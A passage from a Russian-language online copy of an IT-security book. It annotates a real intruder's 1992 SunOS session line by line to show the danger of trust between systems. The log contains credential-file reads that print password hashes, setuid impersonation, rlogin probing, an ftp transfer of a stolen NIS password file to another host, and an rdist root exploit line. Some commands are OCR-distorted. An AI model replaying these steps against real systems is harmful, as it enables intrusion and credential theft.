KnigaRead.com/
KnigaRead.com » Компьютеры и Интернет » Прочая околокомпьтерная литература » Линда Маккарти - IT-безопасность: стоит ли рисковать корпорацией?

Линда Маккарти - IT-безопасность: стоит ли рисковать корпорацией?

На нашем сайте KnigaRead.com Вы можете абсолютно бесплатно читать книгу онлайн Линда Маккарти, "IT-безопасность: стоит ли рисковать корпорацией?" бесплатно, без регистрации.
Перейти на страницу:

Строки с № 58 по 61

Взломщик редактирует программу С, чтобы изменить ID пользователя на 21477. Эта новая настройка позволяет ему переключить пользователя на "lorimo".

Строки с № 62 по № 66

Еще больше опечаток. Этому парню надо пойти на курсы для машинисток.

Строки с № 67 по № 75

Здесь хакер компилирует новую версию своего исполняемого кода, дает результату (a.out) другое имя, которое он не забудет (у него превосходный словарь). Исполнив два из своих рабочих скриптов, он изменяет свой ID пользователя.

50 # last lorin

51 wtmp begins Sat Jan 16 11:37

52 # grep lor /etc/passwwd

53 grep: /etc/passwwd: No such file or directory

54 # grep lor /etc/passwd

55 # ypcat passwd | grep lor

56 lori: N.4Pgz4iUS8kk:5734:50:Lori:/home/lori:/bin/csh

57 lorimo: xxTTF8y3fSqGo:21477:50:Lori:/home/lorimo:/bin/csh

58 # ed с. с

59/uid/

60 setuid(0);

61 setuid(21477);

62 # сс сс

63 сс: Warning: File with unknown suffix (.cc) passed to Id

64 Id:.cc: No such file or directory

65 # cc "c

66>"C

67 # cc c.c

68 # mv a.out shit

69 # chmod 6777 shit

70 #./suck

71 # id

72 uid=0(root) gid=0(wheel) groups=7

73 #./shit

74$ id

75 uid=21477(lorimo) gid=0(wheel) groups=7

Строки с № 76 по № 88

Теперь он ищет, куда еще можно пойти, посылая команды rlogin в другие системы и определяя те из них, которые бы доверяли lorimo (файлы. rhosts и /etc/hosts.equiv используются для установления доверия между системами). Если lorimo доверяют другие системы, то хакеру будет предоставлен доступ к этим системам без ввода пароля. Это называется «барабанить в двери» ("door rattling"). Если ему повезет, то он получит доступ к еще большему объему информации и создаст места для запуска будущих атак изнутри.

Строка № 89

Хакер сменил свою авторизацию обратно на суперпользователя (root).

Строки с № 90 по № 92

Он снова оглядывается (отсюда и команда "who"), затем проводит двойной контроль правильности полученной информации ID пользователя.

Строки с № 93 по № 94

Хакер ищет lorimo в таблице паролей сетевой информационной службы NIS.

Строка № 95

Хакер переходит в каталог /home.

76 $ rlogin tsunami

77 Password:

78 Login incorrect

79 Login incorrect

80 login: AD

81 Connection closed.

82 $ rlogjn suntzu

83 rlogjn: not found

84 $ rlogin suntzu

85 Password:

86 Login incorrect

87 login: D

88 Connection closed.

89 $"D

90 «who

91 ingres ttyp0 Jan 18 23:02

92 root ttyp2 Jan 15 18:38 (canyon)

93 # ypcat passwd | grep lorimo

94 lorimo: xxYTF8y3fSqGo:21477:50:Lori:/home/lorimo:/bin/csh

95 # cd /home

Строка № 96

Хакер начинает подготовительную работу по поиску файлов .rhost, имеющихся в /home. Смысл такого поиска состоит в том, что некоторые люди, использующие файл .rhost (для установки доверия), могут иметь много записей в .rhost по всей сети. После запуска этой задачи он пошел дальше.

Строки с № 97 по № 98

Хакер продолжает делать опечатки.

Строки с № 99 по № 100

Нашему другу надоело быть lorimo. Он проверяет файл паролей на наличие jeff. Он решает выдать себя за jeff. Но вначале он должен отредактировать свой код.

Строки с № 101 по № 11З

Он пытается редактировать свой код, но он не в том каталоге. Он переходит в правильный каталог, редактирует код, исполняет код и становится пользователем jeff.

Строки с № 114 по № 119

Став jeff хакер сделал правильный выбор. Он вошел в новую систему (tsunami), даже не пользуясь паролем. (Это отличный пример того, как опасно устанавливать доверительные отношения между системами.)

96 # find. -name.rhosts — print &

97 # gupr

98 # grep" C

99 # ypcat passwd | grep jeff

100 jeff: wW/q0t03L6xO.:13147:50:Jeff:/home/jeff:/bin/csh

101 # ed c.c

102 ?c,c: No such file or directory

103 #cd

104 # edc.c

105 /uid/

106 setuid(21477);

107 setuid(13147);

108 #ссс. с

109 # mv a.out shit

110 #chmod 6777 shit

111 #./shit

112 $ id

113 uid=13147(jeff) gid=0(wheel) groups=7

114 $ rlogj tsunami

115 rlogj: not found

116 $ rlogin tsunami

117 No directory! Logging in with home=/

118 SunOS Release 4.1.2 (TSUNAMI) #3: Sat Oct 24 07:56:45 PDT 1992

119 You have new mail.

Строки с № 120 по № 126

Хакер (который сейчас является пользователем jeff), запускает командную оболочку sh, чтобы не оставлять след в журналах. history оболочки csh. (Хакер тщательно следит за тем, чтобы не оставить свидетельств применения своих команд.) Затем он проверяет, нет ли кого еще в системе.

Строки с № 127 по № 136

Хакер пытается скопировать файл паролей и получает отказ в разрешении, так как у него нет разрешения копировать в этот каталог. Он проводит проверку с целью установить, под каким именем он зарегистрировался (должно быть, он уже его забыл). Он видит, что зарегистрировался как Jeff. Так как Jeff не имеет разрешения копировать файлы в этот каталог, то хакер меняет каталог на /tmp, в который любому пользователю разрешено производить копирование.

Строки с № 137 по № 141

Здесь он немного расправляет крылья и ищет таблицу паролей, чтобы ее скопировать и использовать. (Он копирует файл паролей NIS в файл, названный "ааа".) Хакеры часто копируют файлы паролей, чтобы подвергнуть их действию программ-взломщиков и получить больше паролей. Чем больше паролей есть у хакера, тем лучше он преуспеет в набегах на другие системы.

120 tsunami%AC

121 tsunami%sh

122 $ who

123 wendy ttyp2 Jan 6 13:55 (arawana)

124 derek ttyp3 Jan 13 17:57 (lajolla)

125 derekttyp4Jan 15 13:11 (lajolla)

126 jeff ttyp5 Jan 18 23:09 (valley)

127 $cat/etc/passwdAC

128 $ypcaty" C

129 $ ypcat passwd > suna

130 suna: Permission denied

131 Sid

132 uid=4401(jeff) gid=50(lastaff) groups=50(lastaff)

133 $pwd

134 $cd

135 $pwd

136 $cd/tmp

137 $ ypcat passwd >aaa

138 $ Is — tal aa

139 aa not found

140 $ is — tal aaa

141 — rw-r — r— 1 jeff 15382 Jan 18 23:09 aaa

Строки с № 142 по № 162

Теперь он открывает сессию ftp обратно к первоначальному хосту (valley) как пользователь ingres. В этой сессии он копирует файл паролей в систему valley. В той же самой сессии он копирует свои инструменты по работе с защитой из valley в tsunami.

Строки с № 163 по № 173

Снова он воссоздает свою небольшую С-программу (опущенную по соображениям безопасности) для того, чтобы воспользоваться программной ошибкой, открывающей защиту, и получить права доступа суперпользователя (root). Теперь он имеет полный контроль (доступ root) над системой tsunami.

142$ ftp valley

143 Connected to valley

144 220 valley FTP server (SunOS 4.1) ready.

145 Name (valley: jeff): ingres

146 331 Password required for ingres.

147 Password:

148 230 User ingres logged in.

149 ftp> send aaa

150 200 PORT command successful.

151 150 ASCII data connection for aaa

152 226 ASCII Transfer complete.

153 local: aaa remote: aaa

154 15578 bytes sent in 0.063 seconds (2.4e+02 Kbytes/s)

155 ftp> get foo

156 200 PORT command successful.

157 150 ASCII data connection for foo

158 226 ASCII Transfer complete.

159 local: foo remote: foo

160 1155 bytes received in 0.11 seconds (9.9 Kbytes/s)

161 ftp> quit

162 221 Goodbye.

163 $ cat too | /usr/ucb/rdist — Server localhost

164$/tmp/sh

165#rmfoo

166#rm/tmp/sh

167 rm: override protection 755 for /tmp/sh? у

168#edc.c

169#ccc.c

170 #chmod 6777 a.out

171 #./a.out

172 # id

173 uid=0(root) gid=0(wheel) groups=50(iastaff)

Строки с № 174 по № 182

Хакер ищет, есть ли в файле /etc/passwd какие-нибудь записи password.old или другие изменения. Он также пытается изменить пароль Jeff в NIS, но безуспешно.

Строки с № 183 по № 197

На этот раз он выводит список содержимого файла /etc/passwd.

174 # Is — ta! /etc/*ass*

175 — rw-r-r-1 root 634 Dec 7 12:31 /etc/passwd

176#cat/etc/}4U

177passwd

178 cat: /etc/}4: No such file or directory

179 Changing NIS password for jeff on suntzu.

180 Old password:

181 New password:

182 Password unchanged.

183 # cat/etc/passwd

184 root:R7QCfnYR4gvzU:0:1:Operator:/:/bin/csh

185nobody:*:65534:65534::/:

186daemon:*;1:1::/:

187sys:*:2:2::/:/bin/csh

188bin:*:3:3::/bin:

189 uucp:*:4:8::/var/spool/uucppublic:

190 news:*:6:6::/var/spool/news:/bin/csh

191 ingres:*:7:7::/usr/ingres:/bin/csh

192 audit:*:9:9::/etc/security/audit:/bin/csh

193 sync::1:1::/:/bin/sync

194 sysdiag:*:0;1:Old System Diag:/usr/diag/sysdiag:/usr/diag/ sysdiag/sysdiag

sundiag:*:0:1:System Diag:/usr/diag/su ndiag:/usr/diag/

sundiag/ sundiag

195 operator: INtDk7crldKh2:5:5 — Account forbackups;/usr/ backup: /bin/csh

196 lc:u0gFO1zE9Yx9U:27:50:LC Calendar:/var/lc:/bin/csh

197+::0;0:::

Строки с № 198 по № 209

Хакер меняет ID пользователя с суперпользователя обратно на jeff. Затем он повторно проверяет свой ID пользователя и начинает менять имя своего a.out на такое, которое он не забудет (как он уже прежде делал). Снова он запускает команду ls -1 для получения списка с новейшими файлами в начале его.

Строки с № 210 по № 212

Он удаляет свою локальную копию файла паролей NIS ("ааа"). Он уже скопировал этот файл на хост valley, поэтому здесь он ему не нужен. Затем удаляет свой исполняемый код и готов идти дальше.

Строки с № 213 по № 227

Хакер проверяет, какие файловые системы подмонтированы.

198 #4)

199 # id

200 uid=4401 (jeff) gid=50(iastaff) euid=0(root) groups=50(lastaff)

201 # тс^С

202 # mv^С

203 #mv a.out shit

204 # Is — tal

205 total 2415

206 drwxrwsrwx 3 bin 1024 Jan 18 23:12.

207 — rwsrwsrwx 1 root 24576 Jan 18 23:11 shit

208-rw-r-r- 1 root 61 Jan 18 23:11 c.c

209 — rw-r-r- 1 jeff 15382 Jan 18 23:09 aaa

210#rmaaa

211 #rmc.c

212 rm: override protection 644 for c.c? у

213 #df

214 Filesystem kbytes used avail capacity Mounted on

215 /dev/sdOa 10483 5081 4354 54 % /

Перейти на страницу:
Прокомментировать
Подтвердите что вы не робот:*